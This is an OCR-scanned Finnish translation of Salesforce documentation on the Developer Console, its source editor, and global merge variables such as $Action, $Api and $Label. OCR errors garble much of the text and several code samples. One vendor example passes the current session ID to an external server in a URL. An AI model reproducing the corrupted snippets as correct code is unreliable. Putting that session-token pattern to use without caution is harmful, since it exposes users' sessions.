Developer-konsolin komentorivin viite

Developer Console -konsoli sisdltad komentorivin, josta voi suorittaa useita hyddyllisia komentoja. Avaa tai sulje Developer Console
-konsolin komentorivi-ikkuna painamalla CTRL+SHIFT+L.

Komento Parametrit Kuvaus

commands Ei mitaan Luettelo kaikista komennoista.

exec <Apex-lausunnot> <Apex-lausunnot>: Yksitai useampi Suorittaa <Apex-lausunnot> jaluo
Apex-lausunto. lokin.

exec [-o | -r] Ei mitdan —o: Avaa Syotd Apex-koodia -ikkunan.

—r:Suorittaa Syota Apex-koodia -ikkunassa
olevan koodin ja luo lokin.

find <merkkijono> <merkkijono>: Sarja merkkeja. Hakee merkkijonoa lokista.
help Ei mitdan Antaa ohjeita komentojen tietojen
hakemiseen.
man <komento> <komento>: Komentorivi-ikkunan Nayttda komennon kuvauksen.
komento.

Developer-konsolin tyétilat

Tyotila on kokoelma Developer Console -konsolin padpaneelissa valilehtina naytettavia resursseja.

Kussakin valilehdessd ndytettava lisatietonakyma tai editori maaritetdan valilehdessa avoinna olevan resurssin perusteella. Esimerkiksi
Idhdekoodi avautuu ldhdekoodin editorissa, lokit avautuvat lokien tarkastusohjelmassa jne. Voita luoda ty&tilan mille tahansa ryhmalle
resursseja, joita sailytat yhdessa pitdaksesi tyosi jarjestyksessa. Voit esimerkiksi luoda yhden tyétilan Idhdekoodille ja toisen
virheenkorjauslokeille ja siirtyd niiden valilla tehdessasi koodaus- ja testaustoita.

Workspace (Tyotila) -valikko sisaltda kaikki tarpeelliset linkit:

e Switch Workspace (Vaihda tyétilaa): Sallii sinun valita jonkin tallennetuista tyétiloistasi.

e New Workspace (Uusi tyétila): Luo uuden tyétilan. Kirjoita tyotilan nimi ja napsauta OK. Avaa resurssit, joita haluat kdyttaa tyétilassa.
Tyétila tallennetaan, kun siirryt toiseen tydtilaan tai suljet Developer-konsolin.

e Rename Current Workspace (Nimed nykyinen tyotila uudelleen): Korvaa nykyisen tyétilan nimen syottamallasi nimella.
e Workspace Manager (Tyotilan hallinta): Avaa ponnahdusikkunan, josta voit selata, avata, luoda ja poistaa tyétiloja.

Voit avata seuraavantyyppisia resursseja Developer-konsolin tyétilassa:

e Lokien tarkastusohjelmassa avoinna olevia lokeja.

e Tarkastuspisteiden tarkastusohjelmassa avoinna olevia tarkastuspisteita.

e Ldhdekoodin editorissa avoinna olevat Apex-luokat ja -kdynnistimet ja Visualforce-sivut ja -komponentit.

e QOrganisaation metadata ja muut ei-koodipohjaiset resurssit avataan objektien tarkastusohjelmassa.

e Query Editor (Kyselyeditori) -valilehdessd olevat kyselyiden tulokset avataan Query Results (Kyselyn tulokset) -ruudukossa.

n
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e Testit-valilehden Testitulokset-ndkymassa avoinna olevia suoritettuja testisuorituksia.

Voit tiivistaa tarpeettomia paneeleja kdyttdmalld [ ¥ ]| %] | ##| 4| -painikkeita. Kun se on tiivistetty, voit napsauttaa paneelia ndyttaaksesi
sen tilapaisesti ja kdyttdaksesi sita. Kun kohdistin siirtyy pois paneelilta, paneeli tiivistyy automaattisesti.

Kun siirryt toiseen tydtilaan tai suljet Developer-konsolin, tdmanhetkisessa tydtilassa olevien vdlilehtien (ja vdlilehtien sisdisten paneelien)
tila tallennetaan. Jos et ole luonut tydtilaa, kokoonpano tallennetaan oletusarvoiseksi tyotilaksi.

Navigointi vdlilehtien vdlilla

Voit siirtyd tyotilassa olevissa valilehdissa vasemmalle tai oikealle napsauttamalla haluamaasi vdlilehted tai kayttamalld seuraavia
nappdimiston pikavalintoja:

e Vasemmalle: CTRL+Page Up
e Qikealle: CTRL+Page Down

Navigointi ndkymdhistoriassa

Siirry taakse- ja eteenpdin nakymahistoriassa napsauttamalla =~ -painikkeita tai kdyttdmalld seuraavia nappdimiston pikavalintoja:
e Taaksepdin: CTRL+,
e FEteenpain: CTRL+.

-painikkeen (tai CTRL+) napsauttaminen siirtdd sinut aiemmin tarkastelemiisi valilehtiin niiden tarkastelujarjestyksesss. = -painike
tulee kayttdodn vasta, kun olet tarkastellut historiaasi.

Apex-, Visualforce- ja Lightning-komponentit

Koodin tydstGminen

Tama osio sisaltda tietoja tyokaluista ja tekniikoista, joita voit kdyttad tehdessasi organisaatioosi muutoksia koodin avulla.
e Visualforce-editorin kdyttdminen

e | dhdekoodin editori

e Objektien tarkastusohjelma

e Globaalit muuttujat

e Globaalin muuttujan $Action kadyvat arvot

e Apex-koodin yleiskatsaus

e Visualforce

e Mitd ovat sahkopostipalvelut?

e Mukautetut otsikot
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Visualforce- tai Apex-editorin kdyttdminen

Kun muokkaat Visualforce- tai Apex-koodia joko Visualforce-kehitystilan alatunnisteesta tai
Madritykset-valikosta, kdytettavissasi on editori seuraavilla ominaisuuksilla:

Syntaksin korostaminen
Editori korostaa automaattisesti syntaksin avainsanat, toiminnot ja operaattorit.

Haku (4,)
Voit hakea tekstid nykyiseltd sivulta ja nykyisestd luokasta tai kdynnistimestd. Voit kdyttdd hakua
kirjoittamalla hakumerkkijonon Haku-tekstikenttdan ja valitsemalla Etsi seuraava.

e \Voit vaihtaa I16ydetyn hakumerkkijonon tilalle uuden merkkijonon kirjoittamalla sen
Korvaa-tekstikenttddn ja valitsemalla Korvaa, jos haluat korvata vain kyseisen esiintyman,
tai Korvaa kaikki, jos haluat korvata kyseisen esiintymdn ja kaikki saman hakumerkkijonon
esiintymat sivulla, luokassa tai kdynnistimessa.

e Jos haluat, ettd hakutuloksessa otetaan huomioon isot ja pienet kirjaimet, valitse Sama
kirjainkoko.

e Jos haluat kdyttad hakumerkkijonona sdannéllista lauseketta, valitse Saanndlliset
lausekkeet. S3anndllisissd lausekkeissa noudatetaan JavaScriptin saannollisia lausekkeita
koskevia sdaantoja. Saannolliselld lausekkeella suoritetulla haulla voidaan 16ytda merkkijonoja,
jotka ulottuvat useammalle kuin yhdelle riville.

Jos kaytat korvaamistoimintoa merkkijonoon, joka on ldydetty hakemalla sadanndllisella
lausekkeella, korvaustoiminto voilliittdd myds sdanndllisen lausekkeen ryhmamuuttujia ($ 1,
$2 jne.) loydetystd hakumerkkijonosta. Jos haluat esimerkiksi korvata <h1>-tunnisteen
<h2>-tunnisteella ja sdilyttda kaikki alkuperdisen <h1>-tunnisteen madritteet
muuttumattomina, kirjoita hakumerkkijonoksi <h1 (\s+) (.*) > jakorvaa se merkkijonolla
<h2s$1$2>

Siirry riville (=# )
Kyseistd painiketta kdyttdmalld voit korostaa tietyn rivinumeron. Jos kyseinen rivi ei ole silld
hetkelld ndkyvissd, editori vierittaa rivin kohdalle.

Kumoa( % ) ja Tee uudelleen ( # )
Peruutustoiminnolla voidaan peruuttaa tehty muokkaus, ja toistotoiminnolla peruutettu
muokkaus voidaan luoda uudelleen.

Fonttikoko
Voit valita editorissa ndytettdvan tekstin fontin koon avattavasta luettelosta.

Rivin ja sarakkeen sijoittelu
Kohdistimen sijoittelu rivilld ja sarakkeessa ndytetdan editorin alaosan tilarivilla. Voit kdyttda

toimintoa yhdessa Siirry riville -toiminnon (=¥ ) kanssa ja navigoida nopeasti editorissa.
Rivi- ja merkkimaara

Rivien ja merkkien kokonaismaard ndytetdan editorin alaosan tilarivilla.
Editori tukee seuraavia ndppainkomentoja:

Sarkain
Lisaa sarkaimen kohdistimen kohdalle

SHIFT+Sarkain
Poistaa sarkaimen
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EDITION-VERSIOT

Kaytettavissa: Salesforce
Classicissa

Apex on kaytettdvissa
Enterprise Edition-,
Performance Edition-,
Unlimited Edition-,
Developer Edition- ja
Database.com Edition
-versioissa

EDITION-VERSIOT

Kaytettavissa: Salesforce
Classicissa

Visualforce on kaytettdvissa
Contact Manager-, Group-,
Professional-, Enterprise-,
Performance-, Unlimited-
ja Developer-versioissa

KAYTTJAOIKEUDET

Visualforce-merkinndn

muokkaaminen:

e Sovelluksen
mukautusoikeus

Mukautettujen

Visualforce-ohjaimien tai

Apex-sovellusten

muokkaaminen

e "Apex-sovellusten
luominen"
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CTRL+f
Avaa hakuikkunan tai etsii nykyisen haun seuraavan esiintyman

CTRL+r
Avaa hakuikkunan tai korvaa nykyisen haun seuraavan esiintyman mdaritetylld korvaavalla merkkijonolla.

CTRL+g
Avaa Siirry riville -ikkunan

CTRL+s
Suorittaa pikatallennuksen.

CTRL+z
Peruuttaa viimeisimman muokkauksen

CTRL+y
Luo uudelleen viimeisimman peruutetun muokkauksen

KATSO MYOS:
Apex Code -yleiskatsaus

Visualforce

Lahdekoodin editori

Developer-konsolissa on ldhdekoodin editori, joka siséltad kokoelman ominaisuuksia Apex- ja Visualforce-koodin muokkaamiseen.

Kaikki kooditiedostot, kuten Apex-luokat ja -kdynnistimet ja Visualforce-sivut ja -komponentit, avataan Developer-konsolin ty&tilan
ldhdekoodin editorissa.

PurchaseOrders * *  Fridge Log /_ui/commeon/apex/debug/ApexCSIAPT @04/09 21:25:10

Code Coverage: Mone ~ GoTo

»

public class PurchaseOrders { —

// Bn interface that defines what a purchase order looks like in general
public interface PurchaseQrder {

// Bll other functionality excluded
I Double discount ()’

m

I // One implementation of the interface for customers
public wvirtual class CustomerPurchaseOrder implements PurchaseOrder {

public virtual Double discount() { L
return .05; // Flat 5% discount

L] // Employee purchase order extends Customer purchase order, but with a |

ff AL EFmrmmt A st
I Logs  Tests Checkpoints Query Editor Progress thlemO) ¥
Name Line Problem
| PurchaseOrders 18 unexpected token: 'dass'

Lahdekoodin editorin syntaksikorostus varjaa kommentit, numerot, merkkijonot, varatut avainsanat, tarkeimmat tietotyypit, muuttujien
esittelyt ja viitteet. Siirry koodihakuun painamalla CTRL+F.
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Kun olet ottanut testauksen kdyttdon, voit tarkastella koodin kattavuutta rivikohtaisesti Idhdekoodin editorissa. Lisatietoja on kohdassa
Koodin kattavuuden tarkistaminen. Lahdekoodin editori sallii sinun asettaa tarkastuspisteitd, jotta sinun ei tarvitse paivittda koodiasi
vianmadritysta varten. Lisatietoja on kohdassa Tarkastuspisteiden asettaminen Apex-koodiin.

Voit likkua ldhdekoodin editorin ja tdysruutundyttéeditorin (jos saatavilla) vélilla painamalla F11.

Lahdekoodieditorin ominaisuuksien asettaminen

Voit valita kirjasimen koon ja ndyttéteeman Ldhdekoodieditorille. Napsauta Help (Ohje) > Preferences (Valinnat) avataksesi Preferences
(Valinnat) -ikkunan.

Preferences ES

Name Value

Editor Font Size 20

Editor Theme blackboard .

Enable Apex Auto-complete 3024-day o

Enable Vf View State Inspector base16-light

Prevent Logs on Load lesser-dark
paraiso-dark
3024-night  |®
blackboard
paraiso-ight
the-rmatrix
ambiance {b
cobalt
rubyblue
tomoarrowe-
night-eighties
default
midnight

Save

Valitse editoriteema esikatseluun

Preferences (Valinnat) -ikkunassa on lisda vaihtoehtoja, riippuen kdyttdoikeuksistasi ja toteutuksestasi. Ndma sisaltdvat koodin tayttdmisen
kdyttoonoton sivulla 16 ja Lokien Valilehdetestavat lokeja latautumasta sivulla 253.

Napsauta Save (Tallenna) pdivittdaksesi asetuksesi ja sulkeaksesi ikkunan.

Metodi- ja muuttuja-esittelyihin siirtyminen

Voit siirtyd suoraan metodi- tai muuttuja-esittelyyn ilman, ettd sinun tulisi vierittad ruutua I6ytdaksesi sen.

1. Siirrd kursori metodin tai muuttujan nimen kohdalle. Jos metodin tai muuttujan nimi on alleviivattu, voit siirtyd sen esittelyyn.
2. Napsauta metodin tai muuttujan alleviivattua nimea.

3. Paina CTRL+ALT+N tai napsauta Go To (Siirry) siirtadksesi kursorin esittelyyn. Jos esittely on toisessa tiedostossa, tiedosto avataan
uuteen vélilehteen.

Haku - Korvaa -toiminnon kaytto

Kayta seuraavia pikandppdimid etsidksesi ja korvataksesi tekstid nykyisestd nakymadsta.

Funktio Pikandppdin huomautukset
Haku CTRL+F Avaa aktiivisen hakulomakkeen
Korvaa CTRL4SHIFT+F Avaa ikkunan, joka ilmoittaa hakutermistd ja

korvaavasta termistd, ja antaa sitten vahvistaa tai
hylatd jokaisen muutoksen.
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Funktio Pikandppdin huomautukset

Korvaa kaikki CTRL+SHIFT+R Avaa ikkunan, joka iimoittaa hakutermista ja
korvaavasta termistd, ja antaa sitten vahvistaa tai
hylata kokonaisvaltaisen muutoksen.

Jos haluat hakea tiedostoja, jotka eivdt ole avoinna Inykyisessa nakymadssa, napsauta File (Tiedosto) > Search in Files (Hae tiedostoista)
tai paina CTRL4+-SHIFT+H.

Koodin tdydennyksen kayttdminen
Lahdekoodin editori ehdottaa automaattisesti tadydennyksid, kun kirjoitat koodia.
Visualforce-sivuilla ja -komponenteissa automaattinen tdydennys ndytetddn automaattisesti, kun kirjoitat.

Apex-luokissa ja -kdynnistimissa voit napsauttaa CTRL+vdlilyonti nahdaksesi luettelon tdydennysehdotuksista. Téaydennyksia tarjotaan
Apex-jdrjestelmdobjekteille ja -metodeille, kayttajan madrittdmille objekteille ja metodeille sekd sObject-objekteille ja -kentille. Jos haluat
ottaa automaattisen Apex-taydennyksen kayttoon, kun kirjoitat pisteen, siirry kohtaan Help (Ohje) > Preferences (Valinnat) ja aseta
Enable Apex Auto-complete (Ota automaattinen Apex-tdydennys kayttddn) -asetus arvoon true.

Fridge * *| Log /_ui/common/apex/debug/ApexCSIAPT @04/08 11:43:47

Code Coverage: Mone ~ GoTo

Lo LUl U L e L

abortJob (String jobId) : void - system ki

Answers l
ApexPages

AppExchange

ApplicationReadWriteMode

assert (Boolean condition) : void - system

assert (Boolean condition, ANY msg) : void - system

PV assertEquals (ANY expected, ANY actual) : void - system

m{ assertEquals (ANY expected, ANY actual, ANY msg) : void - system

n1 AssertException

== e

system.‘ ’

1 B

Jatka kirjoittamista suodattaaksesi ehdotuksia paina, paina ENTER valitaksesi ylimman tdydennysehdotuksen tai kdyta nuolindppdimid
tai hiirta valitaksesi eri tdydennysehdotuksen.

Tdydennykset kerdtddn objektista, jota tyostdt talld hetkelld. Jos et nde odottamaasi tdydennystd, tallenna avoin objektija pdivitd. Nykyisen
editorin symbolitaulukko maarittda objektin tyypin. Jos vastaavia symboleita ei ole, myds valimuistiin tallennetut (edellinen kdypa
tallennus) symbolitaulukot tarkastetaan. Jos tdmanhetkista objektia ei ole, automaattisen taydennyksen ikkuna nayttaa kaikki jarjestelma-
ja kayttajaluokat sekd sObject-objektit.

Ldhdekoodin muutosten vahvistaminen: Ongelmat-vdlilehti

Lahdekoodin editoriin tekemdsi muutokset kddnnetdan ja vahvistetaan taustalla. Kun muokkaat koodia, ongelmia aiheuttavilla riveilla
nakyy virheilmaisin ja alapaneelissa oleva Problems (Ongelmat) -valilehti ndyttaa kadntamisvirheiden tiedot. Voit tiivistad Problems
(Ongelmat) -vélilehden paneelin kulmassa olevalla |3 |-painikkeella.

Kun lahdendkymid vahvistetaan, kaikki muokatut lahteet vahvistetaan yhdessd eika erikseen. Muutoksia, jotka saattavat olla ristiriidassa
palvelimella olevan koodin kanssa, mutta ovat yhteensopivia yhdessa vahvistettuna — esimerkiksi metodin lisédminen yhdessa tiedostossa
ja kutsu kyseiseen metodiin toisesta — ei raportoida virheina.
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APIl-version muuttaminen

Kaytd Iahdekoodin editorin yldlaidassa olevaa APl Version (APl-versio) -luetteloa muuttaaksesi avoinna olevan entiteetin versiota. Luettelo
sisaltda entiteetin viisi edellistd APl-versiota sekd nykyisen version.

Muutosten tallentaminen
Kun teet muutoksia ldhdekoodin editorissa, valilehden nimessa on "*" osoittaakseen, ettd siina on tallentamattomia muutoksia. Apex-luokat

ja -kdynnistimet tallennetaan luokan tai kaynnistimen nykyiselld APl-versiolla.

Jos haluat tallentaa joukon sidonnaisia muutoksia, napsauta File (Tiedosto) > Save All (Tallenna kaikki) tai paina CTRL+S5+SHIFT.
Kaikki muutoksia sisaltdvat avoimet vélilehdet tallennetaan kerralla yhdelld pyynnolla.

Kun tallennat muokattuja ldhdendkymid, ne vahvistetaan kaikkien tallennettujen lahdetiedostojen perusteella. Jos ldhdetiedostoissa on
asiaan liittyvid muutoksia, tiedostoja ei voi tallentaa yksittdin. Jos kddntdmisvirheitd esiintyi, et voi tallentaa. Tarkista Problems (Ongelmat)
-paneeli, korjaa virheet ja napsauta Save (Tallenna) uudelleen.

@ Note: Et voi muokata ja tallentaa Apex-luokkia tuotanto-organisaatiossa.

Koodin synkronoiminen Cloud-palvelussa

Developer-konsoli seuraa muiden kdyttdjien lahteeseen tekemia muutoksia, kun sinulla on tiedosto avoinna. Jos et ole tehnyt siihen
mitdan muutoksia, ndkymdsi paivitetdan automaattisesti. Jos olet tehnyt muutoksia, et voi tallentaa niitd palvelimelle. Ndet halytyksen,
joka ilmoittaa, ettd toinen kdyttdjd on tehnyt muutoksia, ja voit paivittad Idhdendkyman uusimpaan versioon.

Varoitus: Kun paatat pdivittaa tiedoston uusimpaan versioon, muutoksesi korvataan toisilla. Kopioi oma versiosi Idhdekoodista
sdilyttadksesi sen ja paivita sitten uusimpaan versioon ja sisallyta muutoksesi.

KATSO MYOS:
Developer-konsolin kdyttoliittyman yhteenveto
Koodin kattavuuden tarkistaminen
Tarkastuspisteiden asettaminen Apex-koodiin

Developer Console -konsolin File (Tiedosto) -valikko

Obijektien tarkastusohjelma

Objektien tarkastusohjelma ndyttdd vakio-objektin tai mukautetun objektien kentat ja niiden tietotyypit Vain luku -muotoisena viitteend.
Avaa objektien tarkastusohjelma napsauttamalla File (Tiedosto) > Open (Avaa) ja valitsemalla objektin, jota haluat tarkastella. Jos
haluat hakea tietyt ehdot tayttavid objekteja, kdytd Developer Console -konsolin kyselyeditoria.
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|AccountFeed *
Name

Id

Parentid

Type

CreatedByld
CreatedDate
IsDeleted
LastModifiedDate
SystemModstamp
CommentCount
LikeCount

Title

Body

LinkUrl
RelatedRecordrd
ContentData
ContentFileName
ContentDescription
CrntenfTuns

Query

Apex-, Visualforce- ja Lightning-komponentit

String

d
Datetime
Boolean
Datetime
Datetime
Integer
Integer
String
String
String

d

Elob
String
String

Strinn

m

@ Note: Etvoi muokata mukautettuja kohteita Developer-konsolissa. Luo, muokkaa tai poista mukautettuja objekteja

Médritykset-valikosta.

KATSO MYOS:

Developer Console -konsolin toiminnot

Globaalit muuttujat

Komponentit, kuten mukautetut painikkeet ja linkit, mukautettujen kenttien, vahvistussaantojen,

kulkujen ja prosessien kaavat sekd Visualforce-sivut, sallivat sinun kdyttda erityisid yhdistamiskenttid
organisaatiosi tietoihin viittaamiseksi.

@ Note: VainKayttajs, Organisaatio- ja APl -yhdistamiskenttia voidaan kiyttaa web-valilehdills.

Voit kdyttad seuraavia globaaleja muuttujia, kun valitset mukautettuun komponenttiin lisdttavan

yhdistdmiskentdn tyypin:

SAction

Kuvaus: Globaali yhdistamiskentan tyyppi, jota kdytetddn viitattaessa
Salesforce-vakiotoimintoihin, kuten Tilit-vélilehden aloitussivun ndyttamiseen,
uusien tilien luomiseen, tilien muokkaamiseen ja tilien poistamiseen. Voit viitata
valittuun toimintoon kdyttdmélld LINKTO- ja URLFOR-funktioiden
toiminto-yhdistamiskenttia.

Kaytto: 1. Valitse kenttétyyppi: SAction.

2. Lisdd yhdistdmiskenttd muodossa $Action.object.action,

esimerkiksi $Action.Account .New.
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Esimerkki Alla oleva s-control-objekti viittaa vakiotoimintoon, jolla luodaan uusia tileja

s-control-objektista: S$Action.Account.New-yhdistdmiskentdssd.

<html> <body> {!LINKTO ("Create a New Account",

SAction.Account.New, $ObjectType.Account)} </body>
</html>

Visualforce-esimerkki:

<apex:outputLink value="{!URLFOR ($Action.Account.New) }">Create New
Account</apex:outputLink>

Vihjeita: Tama globaali muuttuja on kdytettavissa vain mukautetuissa painikkeissa ja linkeissd, s-control-objekteissa ja
Visualforce-sivuilla.

Kaikki objektit tukevat perustoimintoja, kuten uusi, kloonaa, ndytd, muokkaa, luetteloi ja poista. Globaali $Action viittaa myos

toimintoihin, jotka ovat kdytettdvissa useissa vakio-objekteissa. Organisaatiollesi kaytettdvissd olevat arvot saattavat olla erilaisia, riippuen
kdyttamistasi ominaisuuksista.

$SApi
Kuvaus: Globaali yhdistamiskentan tyyppi, jota kdytetadn viitattaessa API-URL-osoitteisiin.
Kaytto: 1. Valitse kenttétyyppi: SApi.
2. Valitse yhdistdmiskenttd, kuten
* S$Api.Enterprise Server URL xxx: Enterprise WSDL SOAP-pddtepiste, jossa xxx
edustaa APl-versiota. Esimerkiksi $Api.Enterprise Server URL_140 onyhdistdmiskentdn
arvo APlin versiolle 14.0.
® S$Api.Partner Server URL  xxx: Partner WSDL SOAP-pddtepiste, jossa xxx edustaa
APl-versiota.
® SApi.Session ID:Istunnon tunnus.
Esimerkki

Alla oleva mukautettu kaavakenttd kutsuu palvelun, joka korvaa SIC-koodin. Korvaa omapalvelin oman
s-control-objektista: palvelimesi nimelld.

HYPERLINK ("https://www.myserver.com/mypage.jsp" &

"?Username=" & $User.Username &
"gcrmSessionId=" & GETSESSIONID() &
"&crmServerUrl=" & S$Api.Partner Server URL 90 &
"&crmObjectId=" & Id &

"scrmFieldUpdate=sicCode",
"Update SIC Code")

Visualforcen jakulun Palauta istunnon tunnus piste-merkinnalla.

esimerkki: _ _
{!SApi.Session ID}
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Vihjeita: Tama globaali muuttuja on kdytettavissa vain kaavakentissd, s-control-objekteissa, mukautetuissa painikkeissa
ja linkeissa, Visualforce-sivuilla sekd kulkujen ja prosessien kaavoissa.

@ Tdrkedd: $Api.Session IDja GETSESSIONID () palauttavatsamanarvon,elitimanhetkisen
istunnon tunnisteen tdmanhetkisessa kontekstissa. Tdama konteksti vaihtelee riippuen siitd, missa globaali
muuttuja tai funktio arvioidaan. Jos kdytét niitd esimerkiksi mukautetussa kaavakentdssa ja kyseinen
kenttéd ndytetaan vakiomuotoisessa sivuasettelussa Salesforce Classicissa, viitattu istunto tulee olemaan
tavallinen Salesforce-istunto. Jos samaa kenttad (tai sen perusteena olevaa muuttujaa tai kaavan tulosta)
kdytetddn Visualforce-sivulla, se viittaa sen sijaan Visualforce-istuntoon.

Istuntojen kontekstit perustuvat pyynndn toimialueeseen. Istunnon konteksti siis muuttuu joka kerta,
kun ylitdt isdntdnimen rajan, kuten .salesforce.comista .visual.force.comiin tai
.lightning. force. comiin.

Istuntojen tunnisteet eri konteksteista, ja itse istunnot, ovat erilaisia. Kun siirryt kontekstien valilla, vanha
istunto korvataan uudella, eikd vanha istunto ole enda kdypa. Myds istunnon tunnus muuttuu talldin.

Tavallisesti Salesforce kasittelee istuntojen luovutukset kontekstien valilld avoimesti, mutta jos valitat
istunnon tunnuksen itse, huomaa, ettd sinun taytyy ehkd hakea $Api.Session ID fai
GETSESSIONID () uudelleen uudesta kontekstista varmistaaksesi, ettd istunnon tunnus on kaypa.

Huomaa myos, ettei kaikkia istuntoja luoda samanarvaisiksi. Varsinkin Lightning Experience-kontekstista
saaduilla istunnoilla on rajalliset oikeudet, eikd niilla ole API-kdyttdoikeutta. Et voi kdyttad ndista
istuntotunnuksia API-kutsujen tekemiseen.

$Component
Kuvaus: Globaali yhdistamiskentan tyyppi, jota kdytetadn viitattaessa Visualforce-komponenttiin.
Kaytto: Visualforce-sivun jokaisella komponentillaon oma Id-attribuuttiinsa. Kun sivu renderdidaan, tétd attribuuttia

kdytetadn luomaan Document Object Model (DOM) -tunnus. Kdytd koodia
$Component . polku. tunnukseen, kun haluat viitata JavaScriptissé tiettyyn sivulla olevaan
komponenttiin, jossa polku. tunnukseen on viitattavan komponentin komponenttihierarkian osoitin.
Visualforce-esimerkki: i
function beforeTextSave () {
document.getElementById (' {!S$Component.msgpost}').value =
nyEditor.getEditorHTML () ;
}

Vihjeita: Tdmad globaali muuttuja on kdytettdvissa vain Visualforce-sivuilla.
$ComponentLabel
Kuvaus: Globaali yhdistamiskentan tyyppi, jota kdytetddn viitattaessa inputField-komponentin otsikkoon

Visualforce-sivulla, joka liittyy viestiin.

Kaytto: Voit palauttaa sellaisen inputField-komponentin otsikon, joka liittyy viestiin.
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Visualforce-esimerkki: .
<apex:datalist var="mess" value="{!messages}">

<apex:outputText value="{!mess.componentLabel}:" style="color:red"/>

<apex:outputText value="{!mess.detail}" style="color:black" />
</apex:datalist>

Vihjeita: Tama globaali muuttuja on kdytettdvissa vain Visualforce-sivuilla.

$CurrentPage

Kuvaus: Globaali yhdistamiskentan tyyppi, jota kaytetdan viitattaessa nykyiseen Visualforce-sivuun tai sivupyyntéon.
Kaytto: Kdyta tata globaalia muuttujaa Visualforce-sivulla viitataksesi nykyisen sivun nimeen

($CurrentPage.Name) tai nykyisen sivun URL-osoitteeseen (SCurrentPage . URL) . Kdytd koodia
$CurrentPage.parameters.parametrinNimi viitataksesi sivupyynndn parametreihin ja
arvoihin, jossa parametrinNimi on viitattavan pyynnén parametri.

Visualforce-esimerkki:
<apex:page standardController="Account">

<apex:pageBlock title="Hello {!$User.FirstName}!">
You belong to the {!account.name} account.<br/>
You're also a nice person.
</apex:pageBlock>
<apex:detail subject="{!account}" relatedList="false"/>
<apex:relatedList list="OpenActivities"
subject="{!$CurrentPage.parameters.relatedId}"/>
</apex:page>

Vihjeita: Tama globaali muuttuja on kaytettdvissa vain Visualforce-sivuilla.

$FieldSet

Kuvaus: Antaa kdyttooikeuden organisaatiossasi maariteltyyn kenttdjoukkoon.

Kaytto: Kdyta tata Visualforce -sivuillasi iteroidaksesi dynaamisesti kenttdjoukon kentissa. Sinun on asetettava tdlle

globaalille muuttujalle etuliite, joka viittaa standardiin tai mukautettuun objektiin, jolla on tdma kenttdjoukko.
Visualforce-esimerkki:
<apex:page standardController="Account">

<apex:repeat value="{!$Account.FieldSet.mySpecialFields}"
var="field">

<apex:outputText value="{!field}" />
</apex:repeat>
</apex:page>

Vihjeita: Tama globaali muuttuja on kaytettdvissd vain Visualforce-sivuilla.
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$Label
Kuvaus: Globaali yhdistamiskentan tyyppi, jota kdytetadn viitattaessa mukautettuun otsikkoon.
Kaytto: 1. Valitse kenttétyypiksi SLabel.
2. Valitse mukautettu otsikko, johon haluat viitata.
Palautettu arvo riippuu asiayhteyteen liittyvan kdyttdjan kieliasetuksesta. Palautettava arvo on yksi seuraavista
etusijaisuusjarjestyksessa:
1. Paikallisen kdannoksen teksti
2. Pakatun kddnnoksen teksti
3. Padotsikon teksti
Esimerkkikulku: Luo kulun kaava seuraavalla lausekkeella.

{!$Label.customCurrency label}
Viittaa sitten kulun kaavaan ruutukentan otsikkona.

Visualforce-esimerkki:
<apex:page>

<apex:pageMessage severity="info"
strength="1"
summary="{!SLabel.firstrun helptext}"
/>

</apex:page>

Lightning-komponenttien Markup-lausekkeessa oleva otsikko, joka kdyttaa oletusarvoista nimitilaa

esimerkki {!SLabel.c.otsikonNimi}
Otsikko JavaScript-koodissasi, jos organisaatiollasi on nimitila
SA.get ("SLabel.nimitila.otsikonNimi")
Vihjeita: Tama globaali muuttuja on kdytettdvissa vain Lightning-komponenteissa, Visualforce-sivuilla, Apexissa,
kulkujen kaavoissa ja prosessien kaavoissa.
S$Label.Site
Kuvaus: Globaali yhdistamiskentan tyyppi, jota kdytetadn viitattaessa vakiomuotoiseen Sites-otsikkoon
Visualforce-sivulla. Kuten kaikki vakio-otsikot, teksti nakyy kdyttdjan kielen ja paikkamddrityksen perusteella.
Kaytto: Voit kdyttaa tatd lauseketta Visualforce-sivulla, kun haluat avata vakiomuotoisen Sites-otsikon. Kun

sovelluspalvelin rakentaa sivun esitettavaksi loppukayttdjan selaimessa, palautettava arvo riippuu kayttdjan
kielestd ja kielialueesta.

Salesforce tarjoaa seuraavat otsikot:

Otsikko Viesti

authorization_required Kayttooikeuksien tarkistaminen vaaditaan

22



Paranna Salesforcea koodilla

Otsikko

bandwidth_limit_exceeded

change_password
change_your_password

click_forget_password

community_nickname
confirm_password
down_for_maintenance
sahkoposti

email_us
enter_password

virhe

error2

file_not_found

forgot_password

forgot_password_confirmation

forgot_your_password_g
get_in_touch
go_to_login_page
img_path
in_maintenance
limit_exceeded
sisdankirjautuminen
login_button

login_or_register_first

uloskirjautuminen
new_password
new_user_(q
old_password

page_not_found
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Viesti

Kaistanleveysraja ylitetty
Vaihda salasanaa
Salasanan vaihtaminen

Jos olet unohtanut salasanasi, voit palauttaa sen
napsauttamalla Salasana unohtunut.

Lempinimi

Vahvista salasana

<i>{0}</i> is down for maintenance
Sahkoposti

ldhetd meille sahkopostia

Unohtuiko salasana? Kirjoita kdyttajanimesi alla.
Virhe: {0}

Virhe

Tiedostoa ei 16ydy

Salasana unohtui

Salasanan unohtamisen vahvistus

Unohtuiko salasanasi?

Ole hyva ja <a href="{0}">{1}</a> jos haluat ottaa yhteytta.
Mene kirjautumissivulle

/img/sites

Suljettu yllapitotoimia varten

Raja ylitetty

sisdankirjautuminen

Kirjaudu sisdan

Voit kdyttad sivua vasta, kun olet kirjautunut sisadn tai
rekisterditynyt.

Uloskirjautuminen
Uusi salasana

Uusi kayttaja?
Vanha salasana

Sivua ei [oydy
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Otsikko Viesti

page_not_found_detail Sivua ei 16ydy: {0}

salasana salasana

passwords_dont_match Salasana ei tdsmaa.

powered_by Palvelun tarjoaa

rekisterdidy Rekisterdidy
registration_confirmation Rekisterdinnin vahvistus

site_login Sivustolle kirjautuminen
site_under_construction Sivusto rakenteilla
sorry_for_inconvenience Pahoittelemme aiheutunutta haittaa.

sorry_for_inconvenience_back_shortly Pahoittelemme aiheutunutta haittaa. Palaamme hetken

kuluttua.
stay_tuned Pysy kuulolla.
lahetd Lahetd
temp_password_sent Sinulle lahetettiin sahkdposti, joka sisaltad tilapdisen salasanan.
thank_you_for_registering Kiitos rekisterditymisestd Sinulle ldhetettiin séhkoposti, joka

sisaltad tilapdisen salasanan.

under_construction <i>{0}</i> is under construction
user_registration Uuden kayttdjan rekisteréityminen
kdyttdjanimi Kayttajanimi
verify_new_password Vahvista uusi salasana

Visualforce-esimerkki:
<apex:page>

<apex:pageMessage severity="info"
strength="1"
